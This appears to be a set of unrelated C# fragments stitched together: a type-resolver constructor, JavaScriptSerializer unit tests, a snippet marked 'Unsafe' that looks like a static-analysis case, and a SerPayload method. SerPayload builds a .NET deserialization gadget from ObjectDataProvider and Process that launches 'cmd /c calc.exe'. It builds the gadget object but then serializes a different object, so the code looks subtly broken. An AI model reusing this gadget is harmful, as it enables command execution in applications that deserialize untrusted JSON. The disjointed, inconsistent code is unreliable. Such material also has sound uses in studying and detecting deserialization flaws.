public StatefulTypeResolver() { RegisteredTypes = new Dictionary <string, Type>(); FallbackResolver = new SimpleTypeResolver(); AllowFallback = true; FallbackFirst = false; }
static void SerPayload() { var pStartInf = new ProcessStartInfo(); pStartInf.FileName = "cmd"; pStartInf.Arguments = "/c calc.exe"; StringDictionary dict = new StringDictionary(); Type t = pStartInf.GetType(); FieldInfo field = t.GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic); field.SetValue(pStartInf, dict); var proc = new Process(); proc.StartInfo = pStartInf; var obj = new ObjectDataProvider(); obj.MethodName = "Start"; obj.IsInitialLoadEnabled = false; obj.ObjectInstance = proc; var s = new SimpleTypeResolver(); JavaScriptSerializer jss = new JavaScriptSerializer(s); string payload = jss.Serialize(pStartInf); Console.WriteLine(payload); }
public void ResolveTypeFine() { SimpleTypeResolver r = new SimpleTypeResolver(); Assert.AreEqual(typeof(string), r.ResolveType("string"), "#1"); Assert.AreEqual(typeof(double), r.ResolveType("number"), "#2"); Assert.AreEqual(typeof(bool), r.ResolveType("boolean"), "#3"); Assert.AreEqual(typeof(void), r.ResolveType("null"), "#4"); Assert.AreEqual(typeof(Array), r.ResolveType("array"), "#5"); Assert.AreEqual(typeof(object), r.ResolveType("object"), "#6"); }
static void Method() { JavaScriptSerializer serializer = new JavaScriptSerializer(); serializer = new JavaScriptSerializer(new SimpleTypeResolver()); var resolver = new SimpleTypeResolver(); serializer = new JavaScriptSerializer(null); serializer = new JavaScriptSerializer(resolver); // Unsafe 4 }
public void ResolveTypeIdFine() { SimpleTypeResolver r = new SimpleTypeResolver(); Assert.AreEqual(typeof(string).AssemblyQualifiedName, r.ResolveTypeId(typeof(string)), "#1"); Assert.AreEqual(typeof(double).AssemblyQualifiedName, r.ResolveTypeId(typeof(double)), "#2"); Assert.AreEqual(typeof(bool).AssemblyQualifiedName, r.ResolveTypeId(typeof(bool)), "#3"); Assert.AreEqual(typeof(void).AssemblyQualifiedName, r.ResolveTypeId(typeof(void)), "#4"); Assert.AreEqual(typeof(Array).AssemblyQualifiedName, r.ResolveTypeId(typeof(Array)), "#5"); Assert.AreEqual(typeof(object).AssemblyQualifiedName, r.ResolveTypeId(typeof(object)), "#6"); Assert.AreEqual(typeof(float).AssemblyQualifiedName, r.ResolveTypeId(typeof(float)), "#7"); }